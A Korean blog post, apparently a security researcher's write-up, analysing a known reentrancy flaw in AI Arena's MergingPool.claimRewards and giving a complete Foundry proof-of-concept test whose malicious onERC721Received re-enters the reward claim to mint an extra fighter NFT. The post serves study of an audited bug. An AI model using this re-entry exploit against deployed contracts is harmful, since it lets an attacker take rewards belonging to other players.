web3

[1-day] AI Arena - Reentrancy

Tyojong 2025. 11. 21. 18:14
AI Arena는 AI 기반 NFT 캐릭터를 직접 트레이닝하고 전 세계 유저들과 PvP를 펼쳐 경쟁하는 블록체인 게임 플랫폼이다.
각각의 NFT 파이터(캐릭터)는 ERC721 기반 NFT이며 AI 모델(신경망)로 훈련이 가능하다.
경기는 라운드로 나뉘며, 각 라운드에서 승자가 결정되고 해당 유저에게 파이터 NFT 및 토큰 등의 보상이 지급된다.
파이터 NFT는 단순한 디지털 토큰이 아니라, 경기에 참여하거나, 추후 교환/거래, 혹은 다음 라운드에서 사용할 수도 있는 자산이다.

코드 분석

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L154-L159

claimRewards 함수는 라운드별 승자에게 파이터(NFT)를 보상으로 지급하는 역할을 한다.

이 함수내에서 _fighterFarmInstance.mintFromMergingPool()를 호출하는데 mintFromMergingPool()함수를 살펴보면

 

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L322-L330

MergingPool 컨트랙트만 호출할 수 있는 함수로 지정된 주소에 AI Arena의 파이터 NFT를 민팅(발행)하고 지급하는 역할을 하는 함수로 이루어져 있고 _createNewFighter를 호출한다.

 

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L529

_createNewFighter 함수에서는 _safeMint를 사용한다. _safeMint 함수는 ERC721 표준에서 제공하는 NFT를 안전하게 민팅하는 함수이다.

_safeMint 함수는 지정된 주소(to)에 고유번호(newId)를 가진 NFT를 새로 발행한다.

 

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L279-L290

_safeMint 함수는 OpenZeppelin에서 제공하는데 코드를 살펴보면 279번줄의 _safeMint가 호출이 되고 이 함수내에서는 287번줄에 있는 _safeMint를 호출한다. 287번줄의 _safeMint에서는 ERC721Utils.checkOnERC721Received함수를 호출하는데

 

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/utils/ERC721Utils.sol#L25-L50

checkOnERC721Received 함수를 살펴보면 to.code.length로 EOA인지 컨트랙트인지 확인하고(EOA라면 코드가 없기 때문에 코드 길이 = 0, 컨트랙트라면 코드 길이는 0 이상)

IERC721Receiver(to).onERC721Received()를 호출하여 컨트랙트가 NFT 수령의사가 있는지 확인한다.

 

즉, 만약 to가 일반 계정(EOA)라면 해당 EOA가 NFT를 소유하게 되지만 to가 컨트랙트라면 컨트랙트가 NFT를 받을 의향이 있는지 컨트랙트의 onERC721Received()를 호출하여 확인하는 과정을 진행한다.

 

이 때 공격자가 악성행위를 하는 onERC721Received()함수를 만들어 공격자의 컨트랙트주소를 _safeMint를 이용해 호출하면 Reentrancy 취약점이 발생할 수 있다.

 

익스플로잇

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console, stdError} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {FighterFarm} from "../src/FighterFarm.sol";
import {Neuron} from "../src/Neuron.sol";
import {AAMintPass} from "../src/AAMintPass.sol";
import {MergingPool} from "../src/MergingPool.sol";
import {RankedBattle} from "../src/RankedBattle.sol";
import {VoltageManager} from "../src/VoltageManager.sol";
import {GameItems} from "../src/GameItems.sol";
import {AiArenaHelper} from "../src/AiArenaHelper.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract PoC is Test {
	// 변수 선언 및 기본 설정
    uint8[][] internal _probabilities;
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    FighterFarm internal _fighterFarmContract;
    AAMintPass internal _mintPassContract;
    MergingPool internal _mergingPoolContract;
    RankedBattle internal _rankedBattleContract;
    VoltageManager internal _voltageManagerContract;
    GameItems internal _gameItemsContract;
    AiArenaHelper internal _helperContract;
    Neuron internal _neuronContract;

    function getProb() public {
        _probabilities.push([25, 25, 13, 13, 9, 9]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 10]);
        _probabilities.push([25, 25, 13, 13, 9, 23]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 3]);
    }

    function setUp() public {
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);
        getProb();

        _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress);

        _helperContract = new AiArenaHelper(_probabilities);

        _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS);
        _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
        _mintPassContract.setPaused(false);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);

        _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));

        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _rankedBattleContract = new RankedBattle(
            _ownerAddress, address(_fighterFarmContract), _DELEGATED_ADDRESS, address(_voltageManagerContract)
        );

        _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));

        _mergingPoolContract =
            new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));

        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
        _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
        _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
        _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
    }

    /// @notice Helper function to mint an fighter nft to an address.
    function _mintFromMergingPool(address to) internal {
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    }

    bool public flag = false;

    function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
        
        // flag를 설정하여 첫 번째만 실행되도록 해 무한 재귀 되는것을 방지한다.
        if (!flag) { 
            flag = true;
            
            // 보상 청구에 필요한 파라미터 준비
            string[] memory _modelURIs = new string[](2);
            _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
            _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
            string[] memory _modelTypes = new string[](2);
            _modelTypes[0] = "original";
            _modelTypes[1] = "original";
            uint256[2][] memory _customAttributes = new uint256[2][](2);
            _customAttributes[0][0] = uint256(1);
            _customAttributes[0][1] = uint256(80);
            _customAttributes[1][0] = uint256(1);
            _customAttributes[1][1] = uint256(80);
            
            // Reentrancy 공격 실행 (첫 번째 mintFromMergingPool이 완료되지 않은 상태에서 claimRewards를 호출하여 NFT 민팅)
            _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
        }

        return this.onERC721Received.selector; // ERC721 표준 응답
    }

    // 공격 시나리오 테스트 함수
    function testAttack_Reentrancy() public {
        // 초기 NFT 민팅
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_DELEGATED_ADDRESS);

        // 소유권 확인
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);

        // 첫 번째 라운드(roundId 0) 승자 선정
        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;

        _mergingPoolContract.pickWinner(_winners);
        assertEq(_mergingPoolContract.isSelectionComplete(0), true);
        assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true);
        // winner matches ownerOf tokenId
        assertEq(_mergingPoolContract.winnerAddresses(0, 1) == _DELEGATED_ADDRESS, true);

        // 보상 청구용 파라미터 준비
        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);

        // 두 번째 라운드(roundId 1) 승자 선정
        _mergingPoolContract.pickWinner(_winners);

        // 보상 청구
        vm.prank(_ownerAddress);
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        // 공격자 NFT 갯수 확인
        assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 3);
    }
}

 

mintFromMergingPool에서 공격자 컨트랙트에게 민팅한다.
민팅 대상이 컨트랙트이기 때문에 공격자 컨트랙트에 작성된 onERC721Received가 실행되고 onERC721Received 안에서 라운드별 승자에게 보상을 지급하는 claimRewards를 다시 호출하게 된다.

이 때 Reentrancy로 claimRewards를 호출하게 되면서 tokenId 0번이 공격자에게 보상으로 주어진다.

 

그리고 비교를 위해 일반 유저에게도 NFT를 민팅한다.

 

현재 NFT 소유권을 확인해보면 tokenId 0 은 PoC 컨트랙트 tokenId 1은 일반 유저가 가지고 있는 것을 확인할 수 있다.

 

첫 번째 라운드 승자를 선정하는 과정으로 tokenId 0, 1의 소유자들을 승자로 선정한다.

 

라운드 0의 승자가 선정되었는지 확인하고 첫 번째 승자와 두 번째 승자의 주소를 각각 확인한다.

 

두 번째 라운드 승자를 첫 번째 라운드와 동일하게 선정하고

 

정상적인 로직으로 라운드 승리에 대한 보상을 진행받는다. 두 라운드를 진행하였고 두 번 다 승리를 하였기 때문에 tokenId 2, 3 두 번 보상이 지급된 로그를 확인할 수 있다. (공격이 가능한걸 검증하는 과정이기 때문에 일반 사용자가 보상받는 로그는 없음.)

 

최종 공격자의 NFT 갯수를 확인해보면 3개로 나오는데 정상적인 방법이라면 두 라운드를 승리하였기 때문에 보상이 2개로 나와야하지만 Reentrancy 취약점으로 처음에 tokenId 0번도 수령하였기 때문에 총 보상이 3개로 나오는 것을 확인할 수 있다.